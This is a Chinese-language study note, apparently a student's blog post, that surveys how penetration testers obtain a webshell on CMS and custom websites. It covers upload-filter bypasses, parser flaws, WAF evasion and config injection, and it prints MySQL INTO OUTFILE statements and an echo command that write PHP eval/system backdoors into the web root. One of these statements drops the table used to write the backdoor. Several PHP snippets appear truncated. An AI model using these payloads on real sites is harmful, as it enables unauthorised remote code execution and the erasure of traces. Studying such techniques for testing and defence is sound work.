又坐一天没动地方哈,但是感觉还是有一些没真整明白,也没总结的特别全面细致,今天先发出来,明天再花时间再整理一下,这个问题也是很多面试中常见问题,我认为值得花些时间来研究。
今天就从CMS和非CMS,与有管理权限和无管理权限(无需登录),这几个方面来梳理一下渗透测试获取webshell的思路,并没有很具体的方法实战,现在关于这个思路都是用一个南方内个靶机,网上很多,有兴趣可以自己看一下,很多内容都是CSDN 的Agan '前辈的知识拷贝过来的,参考的所有资料博文都放在了文末。
渗透测试之后,我们要获取webshell,再到权限提升
那么有时候拉到管理员后台了(例如暴破出了密码),怎么取得一个webshell呢
CMS系统指的是内容管理系统。
内容管理系统(CMS)是允许用户将内容直接发布到Web的接口。将内容页面直接添加到Web的过程比从本地计算机创建和上载页面提前一步,因为它允许大量人员远程添加和共享数据。
通俗来讲:CMS可以理解为CMS帮你把一个网站的程序部分的事全做完了;你要做的只是一个网站里面美工的部份
进入后台之后可以查看
查看CMS系统
有可能直接显示
有可能会在最下方信息中显示
有可能要使用工具
御剑web指纹识别
谷歌浏览器的wappalyzer
主要通过百度搜索CMS网站程序名称。(其实就是0day)
如:phpcms拿Webshell、WordPress后台拿Webshell (通过一些模板,填ip地址的地方抓包改包,上传图片木马),phpwind拿webshell(用户等级管理插一句话,脏话过滤插一句话,模板插一句话),WordPress拿后台webshell
有时候有的公司并不使用开源的CMS,而是选择自己开发源代码,也就是非CMS情况下,这里的思路分为有权限和无权限两方面来分析
小补充
安装网站时可能报错误的原因
数据库权限问题
一般数据库都给一个读或者写的权限
父目录问题
启用父目录选项没勾选
IP没有设置好
验证码有问题
去修改一下源代码验证码部分
直接上传
网站对上传文件后缀格式并未过滤,直接上传WebShell即可
大概思路是,已知后台管理员账号和密码,找有上传节点的地方,写一个隐蔽或变形的木马上传,上传成功后,用菜刀或蚁剑连接。
添加后缀类型上传
注:为什么要写一个隐蔽或变形的木马呢?因为如果你用的常见的木马,只要一上传就会被管理员或WAF发现(常见的木马WAF都是有收集的,所以可以写完木马之后用D盾检查一下,被WAF检测出来的危险等级是多少)
把允许上传的格式的木马,备份或者恢复成木马格式
网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如 asp、php、jsp、aspx等。
而网站具有数据库备份功能,这时我们就可以将WebShell格式先改为允许上传的文件格式,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。
1)有些备份数据库的地方,限制了用户更改路径,那该怎么办?
F12打开开发者工具,修改文本框元素的value值为我们想要的路径或格式就可以完成修改
2)如果上传的格式被限制呢?该怎么办?
可以使用%00截断来绕过上传限制或使用BurpSuite 工具(%00截断、特殊名文件名绕过、文件名大小写绕过等等黑白名单绕过)之前讲过
当网站设置了js来限制用户上传的文件类型时,可以通过删除js验证或者修改上传类型突破上传拿WebShell。(这种方法之前讲过,印象很深,最近有一篇绕过IWRITE写作平台防复制粘贴内个功能就是利用的这个方法)
或者使用BurpSuite 或者是 Fiddle等代理工具提交,本地文件先更改为jpg,上传时拦截,再把文件扩展名更改为asp或者php即可
1)此类型用于一台服务器具有多个网站,a网站是asp的站,b可能是php的站,而a站中限制了上传文件类型为asp的文件,你可以尝试上传php的脚本,来拿Shell
2)你也可以尝试将脚本文件后缀名改为asa 或者在后面直接加个点(.)如"xx.asp." 来突破文件类型限制进行上传拿WebShell
这个思路还是头一次见噢,有用的思路增加了!
很传统了不多说
截断上传
%00截断
特殊文件名
等
1)在上传文件的时候,你上传的文件名可能会被网站自动改成别的名字,这个时候你可以尝试抓取上传文件数据包,将文件名改为xx.asp%00.jpg进行截断上传,拿WebShell
可以看中间件漏洞那个栏目 个人认为记住几个常见的就好了吧,一般都是会查一遍的,这大便宜不捡白不捡
1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字节代码执行漏洞
畸形解析漏洞
4)Apache 解析漏洞
(由于Apache是从右到左开始判断解析的,如果不可识别解析,就再往左判断)
同中间件
常见编辑器
fckeditor
ewebeditor
cheditor
通过找到网站默认配置,将一句话插入到网站配置中,不过为了能够成功执行插马,建议先下载该站源码,进行查看源码过滤规则,以防插马失败。
PS:插马失败很有可能会导致网站被你写的一句话木马,没有闭合标签导致被网站被插废。
数据库配置文件插马也是相同的
往配置文件写入木马就可以了
不太清楚这个插废是啥情况,没遇到过,根据不同情况,编写不同代码,需要一定能力噢
1)通过对网站的模块进行编辑写入一句话,然后生成脚本文件拿WebShell
2)通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿WebShell
有的网站可以修改添加脚本文件,可以直接拿WebShell
不太懂,没有找实例,留个坑
这个算今天印象最深刻的了
可以通过phpmyadmin 登录数据库使用数据库命令来写如一句话拿WebShell
注:这个前提条件是需要有一定的数据库权限
大致步骤:
创建表
将一句话写入刚创建的表中
查询一句话所在表到文件,成功将一句话写入文件
具体操作
第一种
CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('$_POST[password]);?>');
SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
DROP TABLE IF EXISTS `best`;
将一句话木马插入到mysql库best表best1字段
查询这个字段导出到网站的文件中
把痕迹清除
第二种方法
Create TABLE moon (best text NOT NULL);
Insert INTO moon (best) VALUES('$_POST[pass]);?>');
select best from moon into outfile 'd:/wamp/www/best2.php';
Drop TABLE IF EXISTS moon;
第三种方法:
select '$_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php'
优先推荐不但简单明了,而且避免了误删别人的数据!
第四种方法
select '\';system($_GET[\'cmd\']); echo \'
\'; ?>' INTO OUTFILE 'd:/wamp/www/best4.php'
一些网站安装了WAF 安全狗、360,我们可以通过上传一些免杀马,变形木马来进行突破封杀
先将WebShell 改为txt格式文件上传,然后上传一个脚本文件包含该txt格式文件,可绕过WAF拿WebShell
这种情况一般是,我们已经通过菜刀拿下了权限了,假设菜刀一句话木马可以过安全狗,但大马却怎么都没有上传成功,绕过安全狗
解决发现大马上传不了,被防火墙或者安全狗拦截时,可以考虑使用包含文件
思路
1)先上传一个含有包含代码(如 )却没有攻击代码的文件,不会被狗拦
2)再将大马改成jpg图片文件上传,也不会被狗拦
3)访问第一次上传的包含函数的文件,会发现执行了木马
4)这里是因为包含函数包含的文件会被当成脚本文件,直接将文件内容插入到这个文件中
有高权限 有绝对路径可以直接写
前提条件,具有足够权限,对写入木马的文件夹有写入权限,知道网站绝对路径
1.对于MsSQL 注入漏洞网站可以通过log 备份、差异备份拿WebShell
2.对于MySQL 注入漏洞的网站可以通过into outfile
函数(写入函数)将一句话木马写入,拿WebShell。
- 要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限
注:若过滤了单引号,则可以将函数中的字符进行hex编码
还有一个是into file
函数(读取函数)
#into outfile
函数类似
之后
3.利用phpmyadmin 将木马导出,拿WebShell
4.利用连接外连的数据库拿WebShell
某些网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell
有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话之后再用数据库注入,查询到文件into file成功插入一句话木马
有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,在这里就不说了,只是提一下。而且已经很少见了,有专门的利用工具(桂林老兵),原理是通过找到有IIS 写入权限的网站(开启WebDeV),PUT进去一个.txt 格式的文件,目录必须有刻写的权限,如 image 文件夹,然后通过move 方法,把txt 格式的木马用move 成脚本格式。
在有php代码执行漏洞
例如一些框架漏洞的时候
可以通过执行一些系统命令进行拿WebShell
执行命令行命令“写入内容到文件"echo ?php "@eval($_POST['CE']);?>" > x.php
会自动将创建木马文件并将一句话木马写入其中,使用菜刀连接即可。
大概思路:
将大马放在文件夹中
将文件夹压缩成压缩文件(zip)
正常上传一个头像并且抓包
将数据包中图片头像的内容部分删掉
重新写入文件内容,将压缩文件写入到原本图片的位置
上传
之后返回包中会告诉我们绝对路径
1、PhpMyadmin获取Webshell
2、Tomcat获取Webshell
3、Weblogic获取Webshell
4、JBoss获取Webshell
5.更新页面拿webshell
在网站模板中的404页面中插入一句话木马,之后找到这个页面的绝对路径,访问之即可拿Shell
6.上传插件拿webshell
将木马放入zip压缩文件中,最好是网站插件的压缩文件,之后再后台安装插件,选中含有木马的压缩文件,会自动将插件连通木马安装在网站目录下,接下来我们只需要寻找到木马的绝对路径即可
2.3.4就看之前的命令执行板块就可以了
今天一天查了好多资料,这篇文章借鉴了以下的文章,有的年代久远有的刚更新不久,与其说借鉴,倒不如说是对这些文章的一个总结抄录,在这里由衷感谢各位安全大佬的无私分享!
祝大家五一快乐哈!没有课和作业了,匀出更多时间可以自己安排痛痛快快学安全了哈!欧耶!